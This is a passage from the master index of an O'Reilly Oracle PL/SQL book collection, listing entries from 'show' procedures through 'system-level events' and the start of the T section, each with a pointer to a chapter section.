12.2.3.1. The DBMS_SHARED_POOL.SIZES procedure, Oracle Built-in Packages
12.2.4.3. The DBA_KEEPSIZES view, Oracle Built-in Packages
size threshold: 12.2.3.2. The DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD procedure, Oracle Built-in Packages
unpinning objects: 12.2.2.2. The DBMS_SHARED_POOL.UNKEEP procedure, Oracle Built-in Packages
sharing PL/Vision: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
show function: 5.28.7. Displaying an activity trace, Advanced Oracle PL/SQL Programming with Packages
show procedure
17.4.1. Showing the Help Text, Advanced Oracle PL/SQL Programming with Packages
17.5.5. Constructing an Online Help Package, Advanced Oracle PL/SQL Programming with Packages
21.2.3. Tracing Code Execution, Advanced Oracle PL/SQL Programming with Packages
22.1.7.2. Showing errors, Advanced Oracle PL/SQL Programming with Packages
2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
showCol program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
show_by_group procedure: 5.7.7.2. Dequeuing messages when part of a group, Oracle Built-in Packages
show_changers_to procedure: 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
show_elapsed procedure
5.27.5. Retrieving and displaying elapsed time, Advanced Oracle PL/SQL Programming with Packages
14.3.2. show_elapsed Procedure, Advanced Oracle PL/SQL Programming with Packages
show_expired_sales procedure: 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
show_name_components procedure: 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
show_string procedure: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
show_table procedure: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
showargs procedure: 10.2.3.1. Features of the psdesc package, Oracle Built-in Packages
showattr.sql file: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
showblk procedure: 5.25.5. Toggle for showing blanks in row, Advanced Oracle PL/SQL Programming with Packages
showcomp.sp : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
showcurr procedure
5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
11.3.3. Displaying the Current Object, Advanced Oracle PL/SQL Programming with Packages
showecs procedure
5.28.8. Accessing the PLVtrc execution call stack (ECS), Advanced Oracle PL/SQL Programming with Packages
21.2.4.6. Displaying the stack, Advanced Oracle PL/SQL Programming with Packages
showemps.sp : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
showerr procedure: (see err procedure)
showhdr procedure: 5.25.3. Toggle for showing header, Advanced Oracle PL/SQL Programming with Packages
showhelp procedure: 17.5.4. Building a SQL*Plus Help Script, Advanced Oracle PL/SQL Programming with Packages
showing function
5.9.1. Tracing PLVdyn activity, Advanced Oracle PL/SQL Programming with Packages
19.5.9. Tracing Use of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
22.1.7.2. Showing errors, Advanced Oracle PL/SQL Programming with Packages
showing_header function: 5.25.3. Toggle for showing header, Advanced Oracle PL/SQL Programming with Packages
showing_row function: 5.25.4. Toggle for showing row numbers, Advanced Oracle PL/SQL Programming with Packages
showlog.sql script: 21.1.4.2. Retrieving log data from PL/SQL table, Advanced Oracle PL/SQL Programming with Packages
showmsgs procedure: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
showrow procedure: 5.25.4. Toggle for showing row numbers, Advanced Oracle PL/SQL Programming with Packages
showsql procedure
5.9.1. Tracing PLVdyn activity, Advanced Oracle PL/SQL Programming with Packages
19.5.9. Tracing Use of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
showsubs.sp : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure, Oracle Built-in Packages
showsubs.sql : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure, Oracle Built-in Packages
shutting down programs: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
sid function: 11.1.5.4. The sid function, Oracle Built-in Packages
signatures: 6.1.5. Overloading, Oracle Web Applications
signed numbers
4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
4.2.1.3. The PLS_INTEGER datatype, Oracle PL/SQL Programming
simple loops
6.2.4. Loops, Oracle Web Applications
7.2. The Simple Loop, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
single-character substitution (_): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
site administrator, WebDB: 3.1.3.3. Controlling access to content, Oracle Web Applications
site priority groups: 16.4. Site Priority Groups with DBMS_REPCAT, Oracle Built-in Packages
adding sites: 16.4.3.1. The DBMS_REPCAT.ADD_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
altering site priority: 16.4.3.3. The DBMS_REPCAT.ALTER_SITE_PRIORITY procedure, Oracle Built-in Packages
altering sites by name: 16.4.3.4. The DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE, Oracle Built-in Packages
comments, creating or changing: 16.4.2.3. The DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY procedure, Oracle Built-in Packages
concepts: 16.4.1. About Site Priority Groups, Oracle Built-in Packages
creating: 16.4.2.1. The DBMS_REPCAT.DEFINE_SITE_PRIORITY procedure, Oracle Built-in Packages
dropping site priorities by priority level: 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
dropping site priority groups: 16.4.2.2. The DBMS_REPCAT.DROP_SITE_PRIORITY procedure, Oracle Built-in Packages
dropping sites by name: 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
size
SGA shared pool, tuning: 25.2.1. Tune the Size of the Shared Pool of the SGA, Oracle PL/SQL Programming
database triggers: 25.3.7. Keep Database Triggers Small, Oracle PL/SQL Programming
encrypted code file size: 23.7.3. Impact of Encrypting Code, Oracle PL/SQL Programming
message text: 9.5.1. Using PLVmsg in PL/Vision , Advanced Oracle PL/SQL Programming with Packages
of PL/SQL code, analyzing: 23.6.3. Analyzing the Size of PL/SQL Code, Oracle PL/SQL Programming
online documentation page
17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
17.5.6.4. Maintaining the current page variables, Advanced Oracle PL/SQL Programming with Packages
online help page: 5.14.2. Setting the page size, Advanced Oracle PL/SQL Programming with Packages
package: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
source WHERE clause: 12.4.3. Setting a Line Limit, Advanced Oracle PL/SQL Programming with Packages
slicing and dicing byte strings: 9.2.2.2. Slicing and dicing, Oracle Built-in Packages
smart_job procedure: 13.4.3. Self-Modifying and Self-Aware Jobs, Oracle Built-in Packages
snapshot groups
adding snapshots: 14.2.3.1. The DBMS_REFRESH.ADD procedure, Oracle Built-in Packages
changing properties: 14.2.4. Altering Properties of a Snapshot Group, Oracle Built-in Packages
creating: 14.2.2.1. The DBMS_REFRESH.MAKE procedure, Oracle Built-in Packages
destroying: 14.2.2.2. The DBMS_REFRESH.DESTROY procedure, Oracle Built-in Packages
dropping all snapshots and snapshot groups: 14.2.2.1. The DBMS_REFRESH.MAKE procedure, Oracle Built-in Packages
refreshing: 14.2.5. Manually Refreshing Snapshot Groups, Oracle Built-in Packages
subtracting snapshots: 14.2.3.2. The DBMS_REFRESH.SUBTRACT procedure, Oracle Built-in Packages
snapshot logs
fast refresh and: 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure, Oracle Built-in Packages
master site switching and: 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure, Oracle Built-in Packages
purging: 14.1.4. Purging the Snapshot Log, Oracle Built-in Packages
snapshot replication groups
adding objects to: 14.4.3.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure, Oracle Built-in Packages
creating: 14.4.2.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP procedure, Oracle Built-in Packages
dropping: 14.4.2.3. The DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP procedure, Oracle Built-in Packages
dropping objects from: 14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure, Oracle Built-in Packages
propagation mode alteration: 14.4.4. Altering a Snapshot Replication Group's Propagation Mode, Oracle Built-in Packages
refreshing: 14.4.5. Manually Refreshing a Snapshot Replication Group, Oracle Built-in Packages
switching master site: 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure, Oracle Built-in Packages
snapshot site: 1.3.8. InternetLite, Oracle Web Applications
snapshot_too_old exception: 5.10.2. Package-based exceptions, Advanced Oracle PL/SQL Programming with Packages
snapshots: C.13. DBMS_SNAPSHOT, Oracle PL/SQL Programming
beginning import: 14.3.2.1. The DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD procedure, Oracle Built-in Packages
dropping all snapshots and snapshot groups: 14.2.2.1. The DBMS_REFRESH.MAKE procedure, Oracle Built-in Packages
droppping replication groups and: 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure, Oracle Built-in Packages
ending import: 14.3.2.2. The DBMS_OFFLINE_SNAPSHOT.END_LOAD procedure, Oracle Built-in Packages
export/import (loading): 14.3.2. DBMS_OFFLINE_SNAPSHOT Interface, Oracle Built-in Packages
instantiation
14.3. DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation, Oracle Built-in Packages
14.4.2.2. The offline snapshot instantiation procedure, Oracle Built-in Packages
refresh state: 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
refreshing: 14.1.3. Refreshing Snapshots, Oracle Built-in Packages
rollback and: 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure, Oracle Built-in Packages
registering: 14.1.6. Registering Snapshots, Oracle Built-in Packages
unregistering: 14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only), Oracle Built-in Packages
software: (see code)
software development kit (SDK): 3.1.2.4. Building custom components, Oracle Web Applications
software port: 2.2.2. The Communication Port, Oracle Web Applications
software usage meter
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
sort order (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
source WHERE clause: 12.4. The Source WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
source code (see code)
source repository
5.15.3. Source and target repository type functions, Advanced Oracle PL/SQL Programming with Packages
12.3. Managing the Source Repository, Advanced Oracle PL/SQL Programming with Packages
12.6. Reading From the Source, Advanced Oracle PL/SQL Programming with Packages
12.9.1. Closing the Source, Advanced Oracle PL/SQL Programming with Packages
sp_timer package
1.6.2. The Package Body, Advanced Oracle PL/SQL Programming with Packages
14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
space: (see memory)
deallocating unused space: 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure, Oracle Built-in Packages
freelist blocks available: 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure, Oracle Built-in Packages
unused space information: 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure, Oracle Built-in Packages
utilization information: 12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
space, temporary LOBs: 7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
space_logger procedure: 13.4.1. Tracking Space in Tablespaces, Oracle Built-in Packages
spaces: (see whitespace)
sparsity of tables
10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
10.9.2. Data-Smart Row Numbers in PL/SQL Tables, Oracle PL/SQL Programming
spcex1.sql : 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure, Oracle Built-in Packages
spcex2.sql : 12.1.3.1. The segspace package, Oracle Built-in Packages
special characters (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
specifications, package
1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
1.6. Building Packages, Advanced Oracle PL/SQL Programming with Packages
(see packages, specification)
speed: (see performance)
sptimer.spb : 10.1.2.14. The DBMS_UTILITY.GET_TIME function, Oracle Built-in Packages
sptimer.sps : 10.1.2.14. The DBMS_UTILITY.GET_TIME function, Oracle Built-in Packages
sql_statement, FORALL statement: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
sqlarea.sql : 7.3.7. Monitoring Application SQL Resource Consumption, Oracle Built-in Packages
square brackets ([ ]): 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
src2trg procedure
5.15.9. Miscellaneous PLVio programs, Advanced Oracle PL/SQL Programming with Packages
12.7.2. Batch Transfer of Source to Target, Advanced Oracle PL/SQL Programming with Packages
srcselect function
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.4.1. Viewing the Current Source SELECT, Advanced Oracle PL/SQL Programming with Packages
stacks
(see also call stack; error stack)
PL/SQL call: 21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
5.24. PLVstk: Stack Manager, Advanced Oracle PL/SQL Programming with Packages
5.28.5. Accessing the PL/SQL call stack, Advanced Oracle PL/SQL Programming with Packages
10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function, Oracle Built-in Packages
AQ example: 5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
ECS: 5.28.8. Accessing the PLVtrc execution call stack (ECS), Advanced Oracle PL/SQL Programming with Packages
PLVtrc execution: 21.2.4. The PLVtrc Program Stack, Advanced Oracle PL/SQL Programming with Packages
standalone
elements, bundling into packages: 1.6.1.1. Clean up a bewildering mass of standalone functions and procedures, Advanced Oracle PL/SQL Programming with Packages
procedures
23.2.2. Creating Synonyms for Stored Objects, Oracle PL/SQL Programming
17.3.2.2. The DBMS_DEFER.CALL procedure, Oracle Built-in Packages
standard output: 12.2.5. Standard Output Target, Advanced Oracle PL/SQL Programming with Packages
standard system exceptions
1.3.4. Exception Handling and Built-in Packages, Oracle Built-in Packages
1.3.4.3. Standard system exception, Oracle Built-in Packages
standard.sql file: 1.4.1. The STANDARD Package, Oracle Built-in Packages
standards, coding: 4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
start time (timer): 14.2. Capturing the Start Time, Advanced Oracle PL/SQL Programming with Packages
startcmnt function: 17.5.3.1. Functions to scan USER_SOURCE, Advanced Oracle PL/SQL Programming with Packages
starts_multiline_comment function: 5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
startup procedure
5.28.6. Tracing PL/SQL code execution, Advanced Oracle PL/SQL Programming with Packages
21.2.4.1. startup, Advanced Oracle PL/SQL Programming with Packages
22.1.6.5. Integrating PLVexc with PLVtrc , Advanced Oracle PL/SQL Programming with Packages
state versus stateless: 2.2.3. The HyperText Transfer Protocol (HTTP), Oracle Web Applications
statement_types parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
static SQL: 6.2.1. Types of Cursors, Oracle PL/SQL Programming
static cursors: 6.2.1. Types of Cursors, Oracle PL/SQL Programming
static resources
2.1. Resources, Oracle Web Applications
4.1. How OAS Returns Web Resources, Oracle Web Applications
statistics
(see also performance analysis)
7. Defining an Application Profile, Oracle Built-in Packages
objects: 10.3.3.1. The DBMS_DDL.ANALYZE_OBJECT procedure, Oracle Built-in Packages
partitioned objects: 10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only), Oracle Built-in Packages
schemas: 10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure, Oracle Built-in Packages
tables: 13.4.1. Tracking Space in Tablespaces, Oracle Built-in Packages
status, module: 23.3. Module Validation and Dependency Management, Oracle PL/SQL Programming
statval function: 11.1.5.8. The memory procedure, Oracle Built-in Packages
std_delimiters constant: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
stdout constant: 5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
stg_with_ln function: 16.4.3.3. Modularization inside put_line , Advanced Oracle PL/SQL Programming with Packages
stop procedure
5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.6.2. The high-level handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.9. Halting in PLVexc, Advanced Oracle PL/SQL Programming with Packages
stop_and_drop procedure: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
stopping bailout process: 22.1.10.2. Starting and stopping the bailout, Advanced Oracle PL/SQL Programming with Packages
stopping programs: 22.1.9. Halting in PLVexc, Advanced Oracle PL/SQL Programming with Packages
store tables: 19.1. Types of Collections, Oracle PL/SQL Programming
stored code
23.7. Encrypting Stored Code, Oracle PL/SQL Programming
5.29. PLVvu: Code and Error Viewing , Advanced Oracle PL/SQL Programming with Packages
stored modules/packages: 1.4.3.11. Stored procedures, functions, and packages, Oracle PL/SQL Programming
stored objects: 23. Managing Code in the Database, Oracle PL/SQL Programming
execute authority on: 23.2.1. Execute Authority on Stored Objects, Oracle PL/SQL Programming
interdependency of: 23.3.1. Interdependencies of Stored Objects, Oracle PL/SQL Programming
managing with SQL*Plus: 23.5. Managing Stored Objects with SQL*Plus, Oracle PL/SQL Programming
synonyms for: 23.2.2. Creating Synonyms for Stored Objects, Oracle PL/SQL Programming
viewing with SQL: 23.6. Using SQL to Examine Stored Objects, Oracle PL/SQL Programming
stored procedures, PL/SQL Version 1.1: B. Calling Stored Procedures from PL/SQL Version 1.1, Oracle PL/SQL Programming
stored virtual REFs: 20.4.3. Storage of Virtual REFs, Oracle PL/SQL Programming
stored functions, PL/SQL
23.1.2. Executing Functions, Oracle PL/SQL Programming
17.1. Looking at the Problem, Oracle PL/SQL Programming
17.7. Realities: Calling PL/SQL Functions in SQL, Oracle PL/SQL Programming
calling packaged functions: 17.5. Calling Packaged Functions in SQL, Oracle PL/SQL Programming
examples of: 17.8. Examples of Embedded PL/SQL, Oracle PL/SQL Programming
name precedence and: 17.6. Column/Function Name Precedence, Oracle PL/SQL Programming
package variable modification: 17.4. Restrictions on PL/SQL Functions in SQL, Oracle PL/SQL Programming
read consistency and: 17.7.2. Read Consistency Model Complications, Oracle PL/SQL Programming
requirements/restrictions: 17.3. Requirements for Stored Functions in SQL, Oracle PL/SQL Programming
stored programs
describing parameters: 10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers, Oracle Built-in Packages
job execution and: 13.1.2.2. The what parameter, Oracle Built-in Packages
recompiling: 10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
storyboards
8.1. Designing a Web Application, Oracle Web Applications
8.1.2. Create a Storyboard, Oracle Web Applications
streaming servers: 1.3.9.2. Multimedia data, Oracle Web Applications
string constant: 5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
string function: 5.4.2. Case-converting programs, Advanced Oracle PL/SQL Programming with Packages
string procedure
5.4.2. Case-converting programs, Advanced Oracle PL/SQL Programming with Packages
5.21.4. Parsing strings, Advanced Oracle PL/SQL Programming with Packages
10.1.3.5. string procedures, Advanced Oracle PL/SQL Programming with Packages
18.1.1.2. Converting a string, Advanced Oracle PL/SQL Programming with Packages
string_repostype TYPE: 12.2.1. String Source or Target, Advanced Oracle PL/SQL Programming with Packages
strings
(see also literals)
5.16. PLVlex: Lexical Analysis, Advanced Oracle PL/SQL Programming with Packages
2.3. Literals, Oracle PL/SQL Programming
SUBSTR function: A.2.5. Builtin Functions, Advanced Oracle PL/SQL Programming with Packages
adding characters to
11.1.11. The RPAD function, Oracle PL/SQL Programming
11.1.8. The LPAD function, Oracle PL/SQL Programming
case of
11.1.16. The UPPER function, Oracle PL/SQL Programming
11.1.4. The INITCAP function, Oracle PL/SQL Programming
11.1.7. The LOWER function, Oracle PL/SQL Programming
(see also capitalization)
code repository: 12.2.1. String Source or Target, Advanced Oracle PL/SQL Programming with Packages
comparing
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
11.1.13. The SOUNDEX function, Oracle PL/SQL Programming
concatenating: 11.1.3. The CONCAT function, Oracle PL/SQL Programming
converting: 6.4.1. Converting Boolean to String, Advanced Oracle PL/SQL Programming with Packages
between character sets: 14.2.2. The CONVERT function, Oracle PL/SQL Programming
hexadecimal: 14.2.3. The HEXTORAW function, Oracle PL/SQL Programming
to row numbers: 10.5.1. Automatic Conversion of Row Number Expressions, Oracle PL/SQL Programming
to/from dates
14.1. Conversion Formats, Oracle PL/SQL Programming
14.2.6. The TO_CHAR function (date conversion), Oracle PL/SQL Programming
14.2.8. The TO_DATE function, Oracle PL/SQL Programming
to/from numbers
14.1.2. Number Format Models, Oracle PL/SQL Programming
14.2.7. The TO_CHAR function (number conversion), Oracle PL/SQL Programming
14.2.9. The TO_NUMBER function, Oracle PL/SQL Programming
17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
counting atomics of: 10.1.3.3. numatomics function, Advanced Oracle PL/SQL Programming with Packages
datatypes for: 4.2.3. Character Datatypes, Oracle PL/SQL Programming
extracting characters from: 11.1.14. The SUBSTR function, Oracle PL/SQL Programming
finding substrings of: 11.1.5. The INSTR function, Oracle PL/SQL Programming
functions for: 11. Character Functions, Oracle PL/SQL Programming
justifying: 11.2.3. Filling Text to Fit a Line, Oracle PL/SQL Programming
length of: 11.1.6. The LENGTH function, Oracle PL/SQL Programming
output prefix: 7.3. The Output Prefix , Advanced Oracle PL/SQL Programming with Packages
parsing
5.21. PLVprs: String Parsing, Advanced Oracle PL/SQL Programming with Packages
10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings, Advanced Oracle PL/SQL Programming with Packages
11.2.1. Parsing a Name, Oracle PL/SQL Programming
replacing characters in
11.1.10. The REPLACE function, Oracle PL/SQL Programming
11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
searching for, in code: 23.6.4. Displaying and Searching Source Code, Oracle PL/SQL Programming
string functions: 16.2.3.3. Default values for string functions , Advanced Oracle PL/SQL Programming with Packages
stripping characters from
11.1.12. The RTRIM function, Oracle PL/SQL Programming
11.1.9. The LTRIM function, Oracle PL/SQL Programming
variable-length: 4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
verifying format of: 11.2.5. Verifying String Formats with TRANSLATE, Oracle PL/SQL Programming
word wrap: 11.2.2. Implementing Word Wrap for Long Text, Oracle PL/SQL Programming
wrapping: 10.1.4. Wrapping Strings into Paragraphs, Advanced Oracle PL/SQL Programming with Packages
stripped function: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
strong REF CURSOR type: (see cursor variables)
structure, code: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
structure, data: (see data structures)
structured interface trace filtering: 26.4. Structured Interface Filtering, Oracle PL/SQL Programming
structured programming: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
stub generation: B.1. Using Stubs to Talk to Server-Side PL/SQL, Oracle PL/SQL Programming
stubs
(see also documentation)
5.2.2.3. Supporting top-down design of modules, Oracle PL/SQL Programming
5.14.3. Help text stub generators, Advanced Oracle PL/SQL Programming with Packages
style, coding: 1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
subblocks: (see nested blocks; nested modules)
subprograms, passing parameters to: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
subqueries, correlated: 17.8.3. Replacing Correlated Subqueries, Oracle PL/SQL Programming
subscriber lists
5.1.2. Enqueue Features, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
privileges required to modify: 5.5.3. Managing Queue Subscribers, Oracle Built-in Packages
returning: 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure, Oracle Built-in Packages
table types for: 5.3.5. Recipient and Subscriber List Table Types, Oracle Built-in Packages
subscribers
adding: 5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure, Oracle Built-in Packages
removing: 5.5.3.2. The DBMS_AQADM.REMOVE_SUBSCRIBER procedure, Oracle Built-in Packages
substitution value for NULL: 5.3.4. Setting the NULL substitution value, Advanced Oracle PL/SQL Programming with Packages
substitution value, NULL: 6.1. Null Substitution Value, Advanced Oracle PL/SQL Programming with Packages
substrings
(see also strings)
counting occurrences of: 11.2.4. Counting Substring Occurrences in Strings, Oracle PL/SQL Programming
extracting from strings: 11.1.14. The SUBSTR function, Oracle PL/SQL Programming
finding: 11.1.5. The INSTR function, Oracle PL/SQL Programming
replacing
11.1.10. The REPLACE function, Oracle PL/SQL Programming
11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
subtypes
1.4.4.4. Programmer-defined subtypes, Oracle PL/SQL Programming
4.6. Programmer-Defined Subtypes, Oracle PL/SQL Programming
suffixes
file: 2.4. Organizing Package Source Code, Advanced Oracle PL/SQL Programming with Packages
package element names: 2.3.3. Avoiding Superfluous Naming Elements, Advanced Oracle PL/SQL Programming with Packages
suppressing zeros/spaces: 14.3.1. FM: Suppressing Blanks and Zeros, Oracle PL/SQL Programming
surrogate SYS accounts: (see advanced replication, user accounts)
symbols
!= (not equals): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
% (percent sign): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
> (label delimeters): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
>= (greater than): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
<> (not equals): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
<= (less than): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
** (double asterisk): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
-- (comment indicator): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
/* and */ (comment block delimiters): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
; (semicolon): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
=> (associational operator for positional notation): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
\: (colon): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
_ (underscore): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
|| (concatenation) operator: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
syn procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
synchronization: 1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
synchronization with columns: 4.5.1.1. Synchronization with database columns, Oracle PL/SQL Programming
synchronous mode, replication: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
synonym wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
synonyms for stored objects: 23.2.2. Creating Synonyms for Stored Objects, Oracle PL/SQL Programming
synonyms, PL/SQL: 2.5.3.2. Object privileges, Oracle Web Applications
synonyms, package: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
syntax, HTML: 5.1.2. Syntax, Oracle Web Applications
system
date: 12.1.7. The SYSDATE function, Oracle PL/SQL Programming
exceptions: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
system errors, trapping: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
system level access control: 7.6.2. System-Level Access Control, Guide to Oracle8i Features
system memory, bulk collection: 5.3.1. Restricting Bulk Collection with ROWNUM , Guide to Oracle8i Features
system privileges: 2.5.3.1. System privileges, Oracle Web Applications
system-level events: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: T

Index: T

%TYPE attribute
2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
4.5. Anchored Declarations, Oracle PL/SQL Programming
4.7.7. Use %TYPE When a Variable Represents a Column, Oracle PL/SQL Programming
15.6.1.1. %TYPE and %ROWTYPE, Oracle PL/SQL Programming
TABLE CAST operators: 7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
TABLE pseudo-function: 19.5.4. The TABLE Pseudo-function, Oracle PL/SQL Programming
TABLE type: 15.6.1.1. %TYPE and %ROWTYPE, Oracle PL/SQL Programming
TABLE...SELECT combination: 6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
TABLEPRINT function: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
TABLE_TO_COMMA procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.20. The DBMS_UTILITY.TABLE_TO_COMMA procedure, Oracle Built-in Packages
C.16.11. The TABLE_TO_COMMA procedure, Oracle PL/SQL Programming
TAN function: 13.1.20. The TAN function, Oracle PL/SQL Programming
TANH function: 13.1.21. The TANH function, Oracle PL/SQL Programming
TERM: 3.1.3.1. User-uploaded content, Oracle Web Applications
TERMINATE procedure
10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
10.4.2.4. The DBMS_RANDOM.TERMINATE procedure (Oracle8 only), Oracle Built-in Packages
THE pseudo-function
19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
19.5.4. The TABLE Pseudo-function, Oracle PL/SQL Programming
THEN keyword: (see IF statements; WHEN clause)
TIFF format: 1.3.9.2. Multimedia data, Oracle Web Applications
TIMEOUT_ON_RESOURCE exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TOAD (Tool for Oracle Application Developers)
